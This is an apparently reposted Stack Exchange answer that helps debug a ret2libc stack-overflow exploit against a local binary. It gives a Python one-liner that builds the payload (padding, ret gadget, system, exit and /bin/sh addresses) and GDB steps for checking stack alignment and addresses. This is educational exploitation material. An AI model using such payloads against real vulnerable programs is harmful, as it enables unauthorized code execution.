ret2libc栈溢出漏洞利用后Shell执行异常求助

Let's break down the possible issues and fixes for your non-working exploit:

1. Payload Delivery Problems #

The most common issue here is how you're feeding the payload to the program. Using cat exp4 can cause binary data handling issues in some terminals, and piping might leave the spawned shell without a proper TTY.

Fixes: #

• Generate payload on-the-fly and pipe with stdin preservation:
  Use Python to send the payload directly, followed by cat to keep stdin open for the interactive shell:

  python3 -c "from struct import pack; padding = b'A'*24; ret = 0x55555555501a; system = 0x7ffff7e15990; exit_addr = 0x7ffff7e07590; binsh = 0x7ffff7f6304f; payload = padding + pack('Q', ret) + pack('Q', system) + pack('Q', exit_addr) + pack('Q', binsh); print(payload.decode('latin-1'), end='')" | (./sys; cat)
  

• Use script to allocate a pseudo-TTY:
  If the shell isn't interacting properly, script creates a terminal context for the program:

  script -q -c "./sys" < exp4
  

2. Stack Alignment Verification #

While you added a ret gadget for alignment, double-check:

• Confirm the ret gadget address (0x55555555501a) is actually a valid ret instruction (opcode 0xc3). In GDB:

  x/i 0x55555555501a
  

  If it's not a ret, find another valid ret in the binary using:

  objdump -d sys | grep "retq"
  

• For x86_64, ensure the stack is 16-byte aligned before calling system. If the single ret isn't enough, add an extra ret gadget (two total) to adjust alignment.

3. Address Validation #

Even if you think addresses are correct, re-verify them in the running context:

• In GDB, run the program and get exact addresses:

  p system  # Gets system() address
  p exit    # Gets exit() address
  find &system, +0x1000000, "/bin/sh"  # Finds /bin/sh string address in libc
  

• Ensure binsh_addr points directly to the /bin/sh string. Use x/s 0x7ffff7f6304f in GDB to confirm it prints /bin/sh.

4. Struct Packing Explicitness #

While pack("L") works on x86_64, using pack("Q") (unsigned long long) is more explicit for 64-bit pointers and avoids potential cross-platform issues. Update your script:

payload = padding + pack("Q", ret_addr) + pack("Q", system_addr) + pack("Q", exit_addr) + pack("Q", binsh_addr)

5. Debug the Exploit Flow #

Use GDB to trace exactly where things go wrong:

1. Set a breakpoint at the end of vuln (right before the ret instruction):

   b vuln+42  # Adjust offset based on your binary's disassembly
   

2. Run the program with your payload:

   r < exp4
   

3. Check the stack layout with x/32x $rsp to confirm your payload is correctly placed.
4. Step through instructions with si to verify RIP jumps to the ret gadget, then to system, and ensure the /bin/sh address is correctly passed as an argument.

内容的提问来源于stack exchange，提问作者bruh